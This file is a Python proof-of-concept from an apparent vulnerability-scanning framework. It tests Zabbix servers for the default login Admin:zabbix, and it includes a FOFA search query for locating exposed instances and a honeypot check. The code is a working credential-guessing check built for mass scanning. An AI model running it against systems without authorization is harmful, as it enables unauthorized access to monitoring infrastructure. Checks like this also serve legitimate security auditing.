Files
BLEN/poc/Zabbix/Weak_Pass/poc.py

79 lines
2.9 KiB
Python
Raw Permalink Normal View History

2022-03-10 17:04:33 +08:00
# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本默认是1
2022-04-24 14:09:03 +08:00
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
2022-03-10 17:04:33 +08:00
"PocDesc" : """
""", # POC描述写更新描述没有就不写
2022-04-24 14:09:03 +08:00
"name" : "Zabbix弱口令", # 漏洞名称
"VulnID" : "oFx-2021-0001", # 漏洞编号以CVE为主若无CVE使用CNVD若无CNVD留空即可
"AppName" : "Zabbix", # 漏洞应用名称
2022-03-10 17:04:33 +08:00
"AppVersion" : "", # 漏洞应用版本
2022-04-24 14:09:03 +08:00
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天格式xxxx-xx-xx
2022-03-10 17:04:33 +08:00
"VulnDesc" : """
2022-04-24 14:09:03 +08:00
zabbix默认口令是 Admin : zabbix
2022-03-10 17:04:33 +08:00
""", # 漏洞简要描述
"fofa-dork":"""
2022-04-24 14:09:03 +08:00
app="ZABBIX-监控系统"
2022-03-10 17:04:33 +08:00
""", # fofa搜索语句
"example" : "", # 存在漏洞的演示url写一个就可以了
"exp_img" : "", # 先不管
}
def _verify(self):
"""
返回vuln
2022-04-24 14:09:03 +08:00
2022-03-10 17:04:33 +08:00
存在漏洞vuln = [True,html_source] # html_source就是页面源码
2022-04-24 14:09:03 +08:00
2022-03-10 17:04:33 +08:00
不存在漏洞vuln = [False,""]
"""
vuln = [False,""]
2022-04-24 14:09:03 +08:00
url = self.target + "" # url自己按需调整
data = "name=Admin&password=zabbix&autologin=1&enter=Sign+in"
2022-03-10 17:04:33 +08:00
headers = {
"User-Agent":get_random_ua(),
"Connection":"close",
2022-04-24 14:09:03 +08:00
"Content-Type": "application/x-www-form-urlencoded",
2022-03-10 17:04:33 +08:00
}
try:
"""
检测逻辑漏洞存在则修改vuln值为True漏洞不存在则不动
"""
2022-04-24 14:09:03 +08:00
req = requests.post(url,data=data,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if "chkbxRange.init();" in req.text \
and \
"incorrect" not in req.text \
and \
"<!-- Login Form -->" not in req.text \
and \
req.status_code == 200:
2022-03-10 17:04:33 +08:00
vuln = [True,req.text]
else:
vuln = [False,req.text]
except Exception as e:
raise e
# 以下逻辑酌情使用
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False
return vuln
def _attack(self):
return self._verify()